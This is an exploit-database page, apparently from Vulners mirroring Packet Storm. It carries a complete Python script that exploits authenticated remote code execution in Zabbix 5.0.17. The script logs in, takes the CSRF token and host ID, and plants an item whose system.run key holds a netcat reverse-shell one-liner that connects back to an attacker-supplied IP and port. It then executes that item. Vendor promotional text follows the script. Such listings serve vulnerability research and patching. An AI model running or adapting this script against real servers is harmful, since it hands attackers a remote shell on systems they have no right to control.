Lucene search
K

Zabbix 5.0.17 Remote Code Execution

🗓️ 10 Mar 2022 00:00:00Reported by Hussien MisbahType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 305 Views

Zabbix 5.0.17 Remote Code Execution (RCE

Code
`# Exploit Title: Zabbix 5.0.17 - Remote Code Execution (RCE) (Authenticated)  
# Date: 9/3/2022  
# Exploit Author: Hussien Misbah  
# Vendor Homepage: https://www.zabbix.com/  
# Software Link: https://www.zabbix.com/rn/rn5.0.17  
# Version: 5.0.17  
# Tested on: Linux  
# Reference: https://github.com/HussienMisbah/tools/tree/master/Zabbix_exploit  
  
#!/usr/bin/python3  
# note : this is blind RCE so don't expect to see results on the site   
# this exploit is tested against Zabbix 5.0.17 only  
  
import sys  
import requests  
import re   
import random  
import string  
import colorama  
from colorama import Fore  
  
  
print(Fore.YELLOW+"[*] this exploit is tested against Zabbix 5.0.17 only")  
print(Fore.YELLOW+"[*] can reach the author @ https://hussienmisbah.github.io/")  
  
  
def item_name() :  
letters = string.ascii_letters  
item = ''.join(random.choice(letters) for i in range(20))   
return item  
  
if len(sys.argv) != 6 :  
print(Fore.RED +"[!] usage : ./expoit.py <target url> <username> <password> <attacker ip> <attacker port>")  
sys.exit(-1)  
  
url = sys.argv[1]  
username =sys.argv[2]  
password = sys.argv[3]  
host = sys.argv[4]  
port = sys.argv[5]  
  
  
s = requests.Session()  
  
  
headers ={   
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",  
}  
  
data = {   
"request":"hosts.php",   
"name" : username ,  
"password" : password ,  
"autologin" :"1" ,  
"enter":"Sign+in"  
}  
  
  
proxies = {  
'http': 'http://127.0.0.1:8080'  
}  
  
  
r = s.post(url+"/index.php",data=data) #proxies=proxies)  
  
if "Sign out" not in r.text :  
print(Fore.RED +"[!] Authentication failed")  
sys.exit(-1)  
if "Zabbix 5.0.17" not in r.text :  
print(Fore.RED +"[!] This is not Zabbix 5.0.17")  
sys.exit(-1)  
  
if "filter_hostids%5B0%5D=" in r.text :  
try :  
x = re.search('filter_hostids%5B0%5D=(.*?)"', r.text)  
hostId = x.group(1)  
except :  
print(Fore.RED +"[!] Exploit failed to resolve HostID")  
print(Fore.BLUE +"[?] you can find it under /items then add item")  
sys.exit(-1)  
else :  
print(Fore.RED +"[!] Exploit failed to resolve HostID")  
print(Fore.BLUE +"[?] you can find HostID under /items then add item")  
sys.exit(-1)  
  
  
sid= re.search('<meta name="csrf-token" content="(.*)"/>',r.text).group(1) # hidden_csrf_token  
  
  
command=f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {host} {port} >/tmp/f"  
  
payload = f"system.run[{command},nowait]"  
Random_name = item_name()  
data2 ={  
  
"sid":sid,"form_refresh":"1","form":"create","hostid":hostId,"selectedInterfaceId":"0","name":Random_name,"type":"0","key":payload,"url":"","query_fields[name][1]":"","query_fields[value][1]":"","timeout":"3s","post_type":"0","posts":"","headers[name][1]":"","headers[value][1]":"","status_codes":"200","follow_redirects":"1","retrieve_mode":"0","http_proxy":"","http_username":"","http_password":"","ssl_cert_file":"","ssl_key_file":"","ssl_key_password":"","interfaceid":"1","params_es":"","params_ap":"","params_f":"","value_type":"3","units":"","delay":"1m","delay_flex[0][type]":"0","delay_flex[0][delay]":"","delay_flex[0][schedule]":"","delay_flex[0][period]":"","history_mode":"1","history":"90d","trends_mode":"1","trends":"365d","valuemapid":"0","new_application":"","applications[]":"0","inventory_link":"0","description":"","status":"0","add":"Add"  
}  
  
r2 =s.post(url+"/items.php" ,data=data2,headers=headers,cookies={"tab":"0"} )  
  
  
no_pages= r2.text.count("?page=")   
  
#################################################[Searching in all pages for the uploaded item]#################################################  
page = 1  
flag=False  
while page <= no_pages :  
r_page=s.get(url+f"/items.php?page={page}" ,headers=headers )  
if Random_name in r_page.text :  
print(Fore.GREEN+"[+] the payload has been Uploaded Successfully")  
x2 = re.search(rf"(\d+)[^\d]>{Random_name}",r_page.text)  
try :  
itemId=x2.group(1)  
except :  
pass  
  
print(Fore.GREEN+f"[+] you should find it at {url}/items.php?form=update&hostid={hostId}&itemid={itemId}")  
flag=True  
break   
  
else :  
page +=1  
  
if flag==False :  
print(Fore.BLUE +"[?] do you know you can't upload same key twice ?")  
print(Fore.BLUE +"[?] maybe it is already uploaded so set the listener and wait 1m")  
print(Fore.BLUE +"[*] change the port and try again")  
sys.exit(-1)  
  
#################################################[Executing the item]#################################################  
  
  
data2["form"] ="update"  
data2["selectedInterfaceId"] = "1"  
data2["check_now"]="Execute+now"  
data2.pop("add",None)  
data2["itemid"]=itemId,  
  
print(Fore.GREEN+f"[+] set the listener at {port} please...")  
  
r2 =s.post(url+"/items.php" ,data=data2,headers=headers,cookies={"tab":"0"}) # ,proxies=proxies )  
  
print(Fore.BLUE+ "[?] note : it takes up to +1 min so be patient :)")  
answer =input(Fore.BLUE+"[+] got a shell ? [y]es/[N]o: ")  
  
if "y" in answer.lower() :  
print(Fore.GREEN+"Nice !")  
else :  
print(Fore.RED+"[!] if you find out why please contact me ")  
  
sys.exit(0)  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Mar 2022 00:00Current
7.4High risk
Vulners AI Score7.4
305